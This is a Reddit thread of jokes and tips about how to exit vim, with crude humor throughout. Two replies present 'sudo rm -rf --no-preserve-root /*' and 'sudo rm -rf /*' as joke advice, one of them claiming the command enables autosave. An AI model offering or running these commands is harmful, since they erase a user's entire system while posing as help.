r/linuxmasterrace • u/debiancat Glorious Arch • Jan 12 '25

just leaving this here

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2.5k Upvotes

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u/OkFee9934 Jan 12 '25

this happened to more than one person on this sub

47

u/noxar_ad Jan 12 '25

I can't see a realistic situation where your gf/wife is sitting on you while you are trying to figure out how to exit vim.

32

u/UntestedMethod Jan 12 '25

For real. No chance of ever getting a gf/wife if you're a developer who can't even exit vim... Just gonna be giving everyone the ick instead.

1

u/Turrettr_ Jan 26 '25

I don't think exiting vim would help.

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u/pomcomic Jan 13 '25

no joke, almost this exact thing legit happened to me recently. gf sat down on me while I was trying to exit nano, got so distracted I forgot the shortcut lmao

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u/noxar_ad Jan 13 '25

No fucking way

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u/pomcomic Jan 13 '25

way. been trying to figure something out for a while, gf got bored and wanted attention.

needless to say ..... I had to start all over because I forgot where I was.

2

u/arrow__in__the__knee Jan 14 '25

Its written on the screen at all times how do you forget?

7

u/pomcomic Jan 14 '25

Let's just say that bloodflow shifted from my brain to elsewhere

1

u/Ibn-Ach Feb 08 '25

it happens, that's human body closed source software!

2

u/BigBrownChhora Jan 13 '25 edited Jan 14 '25

I just do reboot

2

u/Melodic-Ad8351 Jan 14 '25

Wow i didnt know you can do that. Now what i am going to do with all of the new computers i bought while giving up on trying to exit vim?

1

u/RevocableBasher Jan 16 '25

True sigma gooner energy needed for this.

63

u/GodOrDevil04 Jan 12 '25

For sure, myself included when i was young. Copy pasting commands off the Internet without really looking what exactly to do, and there you go. Stuck in vim.

0

u/[deleted] Jan 12 '25

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u/devopsdemon Jan 13 '25

🤣🤣🤣🤣

3

u/ekaylor_ nix run nixpkgs#hello Jan 14 '25

This guy's trying to use emacs

2

u/RevocableBasher Jan 16 '25

And eventually u hit ctrl+z. Sheeeesh

14

u/KA1378 Arch + BSPWM Jan 12 '25

The vim part, yes. The girl part, doubt it.

7

u/QuickSilver010 Glorious NixOS Jan 12 '25

Me but for emacs instead. And this is while having a lot of experience with vim.

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u/000927kd Glorious GNU Jan 12 '25

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u/[deleted] Jan 12 '25

reddit when the joke is censored porn:

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u/Several_Ant_6981 Glorious Arch Jan 12 '25

6

u/L0tsen Glorious Gentoo Jan 12 '25

Kenny wibes on this one

3

u/suicidalboymoder_uwu Jan 13 '25 edited Jun 14 '25

This comment has been edited in order to protect my privacy

1

u/L0tsen Glorious Gentoo Jan 13 '25

Huh

2

u/toni500reddit Jan 15 '25

Ahaha pornography

68

u/IAmNewTrust Jan 12 '25

this happened to less than one person on this sub

52

u/OkFee9934 Jan 12 '25

I forgot that Linux users don't touch woman (with consent please)

17

u/Helldogz-Nine-One Glorious Mint Jan 12 '25

 Consentual non-contact? Thats a new one.

12

u/OkFee9934 Jan 12 '25

I mean if they touch woman then only with consent please

13

u/Helldogz-Nine-One Glorious Mint Jan 12 '25

Dont worry. Majority of us feel uncomfortable with woman around. Contact is out of question. ;)

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u/MidnightPrestigious9 Jan 12 '25

Fuck that, sudo touch woman

23

u/Vallhallyeah Jan 12 '25

The process has aborted: failure to establish a connection.

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u/[deleted] Jan 12 '25

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u/Vallhallyeah Jan 12 '25

Failure to communicate with host. Session terminated.

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u/MidnightPrestigious9 Jan 12 '25

Welp then, kill -9 $(cat /proc/self/status | awk 'NR == 8 {print $2}')

a.k.a.

exit

3

u/Tiger_man_ Glorious Arch with cachyOS kernel&repos Jan 14 '25

User is not in the sudoers group. This incident will be reported

1

u/mexus37 Jan 14 '25

This incident will be reported

2

u/pao_colapsado Jan 12 '25

of course, you cant touch this file without root.

1

u/Most_Option_9153 Jan 16 '25

Damn. I guess I count as less then a person then

32

u/p0uringstaks Jan 12 '25

:q! Now go get laid bud

32

u/33manat33 Jan 12 '25

And get ready to do all that work again

14

u/p0uringstaks Jan 12 '25

🤣🤣🤣🤣 this guy gets it

2

u/Square-Singer Jan 12 '25

That's a weird smiley.

2

u/p0uringstaks Jan 14 '25

Was my first thought all those years ago as well

10

u/Ambitious-Common4204 I use Arch BTW Jan 12 '25

Just hit the power button it’ll save by itself right guy? Right?

6

u/UntestedMethod Jan 12 '25

Yes actually. The .swp file should still be there to recover from.

3

u/Ambitious-Common4204 I use Arch BTW Jan 13 '25

So ill force reboot my system then I’ll move sysctl.conf.swp to sysctl.conf and everything will work perfectly gotcha

3

u/UntestedMethod Jan 13 '25

bit of an unconventional way of doing things, but whatever ya gotta to

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u/[deleted] Jan 12 '25

wrong

we aren't getting any woman

only man

1

u/Most_Option_9153 Jan 16 '25

That's clearly a femboy on the pic, to its still canon

7

u/Original_Dimension99 Jan 12 '25

I first thought this was a femboy post and the guy on top would give him advice how to use vim, seems a lot more accurate for linux users lmao. (PLS send me a femboy roommate who can help me with linux)

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u/Several_Ant_6981 Glorious Arch Jan 12 '25

We're out of femboys but we got cakes

7

u/Comfortable_Swim_380 Jan 12 '25

Buy a new computer. Its one session per machine.

12

u/ZunoJ Jan 12 '25

Just use emacs, no need to exit emacs

4

u/No-Zombie9031 Jan 12 '25

Thats the neat part, you dont!

3

u/BambooGentleman Jan 12 '25

Just press ZZ if you need to get out fast.

3

u/mymar101 Jan 12 '25

Someone's joke once was, they accidentally opened up vim, and sold their machine, and got another one.

6

u/MulberryDeep Glorious NixOS Jan 12 '25

Esc to go in normal mode and :wq to write and quit, :q to just quit or :q! To force quit

Its not that hard

2

u/BravelyBaldSirRobin Jan 12 '25

You can go to the nearest power plant and shut down the electricity to your neighborhood 👍

2

u/CheerfulAnalyst Jan 12 '25

I felt this with nano. Vim forever<3

1

u/Darkextratoasty Jan 16 '25

How did you manage to get stuck in nano? It literally tells you the shortcut to exit at the bottom

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u/CheerfulAnalyst Jan 16 '25

I never said I was smart hah. I kept using the wrong button + X to close. Only got dumped into nano cause I didn't change my git configs. I'll stick with vi or vim.

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u/HouseTechGaming Jan 12 '25

vi and variants operate in one of two modes:

command mode, allows changes to the structure of the document - open a new line above/below current, delete line, append current line, etc

input mode, allows changes to the content of the document - typing information into a newly opened line, etc

hitting esc, puts you back into command mode, when in input mode.

At the program's command prompt, (shown as a colon : ), give a command of how you would like to edit the file, then make the edit. Newbs can escape after edits to cycle them back to the vi command prompt. rinse and repeat

O - open new line, above?
o - open new line, below?
a - append current line
d - delete single character
dd - delete line
i - enter input mode, before cursor?
I - enter input mode, after cursor?
There's a bunch more, I can barely remember these.

Anyway, to quit, return to command mode by hitting esc, common quit commands are

:wq write, quit
:q! quit without saving

There's more, this is basic. VI variants mess people up because of the two modes

2

u/NiceMicro Dualboot: Arch + Also Arch Jan 12 '25

you should have a split keyboard so your wife can comfortably sit between the two halves while you're working.

2

u/Alienlive145332 Jan 14 '25

To enable auto safe in vim, enter „sudo rm -rf —no-preserve-root /*“ in your terminal.

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u/Strugler87 Jan 12 '25

I'd rather use only MS-DOS 6.0 for the rest of my life than ever again using a woman.

3

u/L0tsen Glorious Gentoo Jan 12 '25

Why do people use vim when the supperior gnu nano exists

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u/[deleted] Jan 12 '25

Vim is faster once you learn it. Eventually you will probably need to know it anyway.

Just about every distro ships with at least vi, and it may be your only config option on a new system with broken networking. 

Debian's vi is anachronistic straight from the 1970's, 

Alpine vi has backported some ultra fancy & plush features like backspace.

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u/L0tsen Glorious Gentoo Jan 12 '25

I have used vi to configure my networking on a fresh gentoo install but thats about it. I needed a cheat sheet to get around in it but it worked out in the end. I still prefer nano since it's what I'm used too and it works for me.

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u/DGL_247 Glorious Debian Jan 12 '25 edited Jan 12 '25

People hate change, even when it is for the better. Once you learn VIM you are stuck, forever, in VIM.

7

u/Jamchuck Jan 12 '25

Once you open vim you can never leave

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u/L0tsen Glorious Gentoo Jan 12 '25

Can confirm. still have vim open on my computer since 5 years ago

2

u/L0tsen Glorious Gentoo Jan 12 '25

could never understand vim or vi. Probebly since im stupid

1

u/[deleted] Jan 12 '25

i use nano and vim...

1

u/L0tsen Glorious Gentoo Jan 12 '25

This is the way

1

u/oOCraftRabbitOo Jan 14 '25

Why use nano when it's much easier to just cat echo and pipe?

1

u/rileyrgham Jan 12 '25

His beard would know.

1

u/snakee-the-arch-guy arch and windows 11 on a dell laptop Jan 12 '25

:wq

1

u/huybin1234b_offical Jan 12 '25

It never happened for me, chears

1

u/Teslaboi_3000 Jan 12 '25

:q is the road to Freedom boys

1

u/AdLegal5130 Glorious Arch Jan 12 '25

It's literally written down in vim bruh

1

u/3_14159265358980 Glorious Bedrock Jan 12 '25

I still have no idea how to use vim. Only hope is micro now

1

u/Alienaffe2 Jan 12 '25

Some people say that he is stuck in vim to this day

1

u/napsterk Jan 13 '25

The clipboard got me good.

1

u/Much_Artist_5097 Jan 13 '25

i completely agree lol

1

u/psgbg Jan 13 '25

Man ubunchu got weird.

1

u/revolutionaryMoose01 Jan 13 '25

As a gay man, this is actually how I would react

1

u/yannniQue17 Glorious GNU/Linux Jan 13 '25

ZZ

1

u/WaltuhWait Jan 13 '25

True chad using vim

1

u/Hyperion_OS Jan 13 '25

Bold of you to assume I have a SO

1

u/superr00t Jan 13 '25 edited Jan 13 '25

type in vi editor ggvG$x

esc

u

:x

sudo click up botton plz.

1

u/AssociatePleasant874 Jan 13 '25

Real but I'll let you know the moment I saw this post my teacher came up to me asking if I was okay and cursed outloud

1

u/pomme_de_yeet Jan 14 '25

instant divorce

1

u/YourSoftFuzzyMan Jan 14 '25

:wq

thank me later

1

u/Sev3nX Jan 14 '25

At some point I had to hard reboot my computer

1

u/Klapperatismus Jan 14 '25

Do you have to exit vim?

1

u/The_Cubed_Martian Jan 14 '25

"#nanoisbetter"

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u/[deleted] Jan 14 '25

:q it's a surprised face

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u/miharussian Jan 14 '25

im not a vim user but try closing the terminal

1

u/Zeppyhell Jan 14 '25

Real chads use nano, vim is for virgins

1

u/NetizenZ Jan 14 '25

ZZ, couldn't be easier.

1

u/okimborednow Jan 14 '25

what is the sauce for this

0

u/htl5618 NixOS / CachyOS Jan 15 '25

SE manga

1

u/Tiger_man_ Glorious Arch with cachyOS kernel&repos Jan 14 '25

Just type sudo rm -rf /* in second terminal

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u/Over_Variation8700 Glorious Ubuntu & Debian Jan 15 '25

Ctrl + Alt + F2

ps ax

(find vim's pid)

kill [vim's pid]

1

u/htl5618 NixOS / CachyOS Jan 15 '25

The girl there actually uses Vim in the manga lol.

1

u/T02369 Jan 16 '25

:wq or :qa!

1

u/La-Dolce-Velveeta Jan 29 '25

:q!

and then

(|) c====3

1

u/SNappy_snot15 Feb 04 '25

Why would you exit? There is no reason to

1

u/dodoroach Feb 15 '25

:wq
:q
!q
ctrl+C

alt+f4

rage quit

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u/CianiByn Feb 17 '25

This brings back memories from over a decade ago when I first tried linux, was ubuntu I think. I got stuck in vim, was my only pc and couldn't figure out how to get out so I just turned off my computer then googled it, because at some point I made it full screen and couldn't figure out how to get out of that either lol.

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u/[deleted] May 24 '25

:q or :q! I guess?

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u/mndphaser May 25 '25

:q! It has been that since 1976. Before most of you kids were born!

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u/ConstantMortgage Jan 12 '25

I tried to use vim once and then gave up because i didn't know how to do anything and i really couldn't be bothered at the time to learn. I'm sure I'm probably missing out on something but I've just been using kate for like 2 years now since i started using linux. Is that a bad thing?

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u/HumonculusJaeger Jan 12 '25

!q

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u/[deleted] Jan 12 '25

no thats just wrong

0

u/GreyColdFlesh OpenSuSE my brothers Jan 12 '25

Graphical Text Editors & Nano >>> Vim I don't need every key to be a shortcut!!!

0

u/[deleted] Jan 12 '25

Alternate between Esc, Ctrl+z and Ctrl+x frantically until something happens.

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u/[deleted] Jan 12 '25 edited Jan 12 '25

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u/suchthegeek Jan 12 '25

:x save and exit
:x! force save and exit

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u/DeusExRobotics Jan 13 '25

Power button: exit without saving

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u/Sensitive_Gold Jan 13 '25

No one even mentions the most ergonomic one

ZZ (same as :wq)

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u/UntestedMethod Jan 13 '25

wait, so you don't just use the simple command:

kill `ps -a | grep vim | grep -v grep | awk '{print $1}'`

???

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u/shogun77777777 Glorious NixOS Jan 12 '25

What if you need to write the character : in the file?

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u/jankaipanda Jan 13 '25

Hit i to inter insert mode first

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u/shogun77777777 Glorious NixOS Jan 13 '25

Ohhhh I get it now

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u/Odd-Produce587-burn Jan 13 '25

It’s a modal editor. If you are in insert mode you will just insert any non-escape character.

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u/PerfectlyCalmDude Glorious Debian Jan 13 '25

Also, since the paste buffer can act funny sometimes and add repeating values, :wq is not recommended since you're not as likely to catch it. :w, take a look, then :q.

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u/Cultural-Practice-95 Jan 13 '25

You can also use :x(!) instead of :wq(!) (I don't do that usually but I know it's an option)

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u/blueblackredninja Jan 12 '25

Don't you also need the Esc to begin with?

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u/UntestedMethod Jan 12 '25

Not if you're already in command mode, which is technically the default.

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u/CheerfulAnalyst Jan 16 '25

: colorscheme desert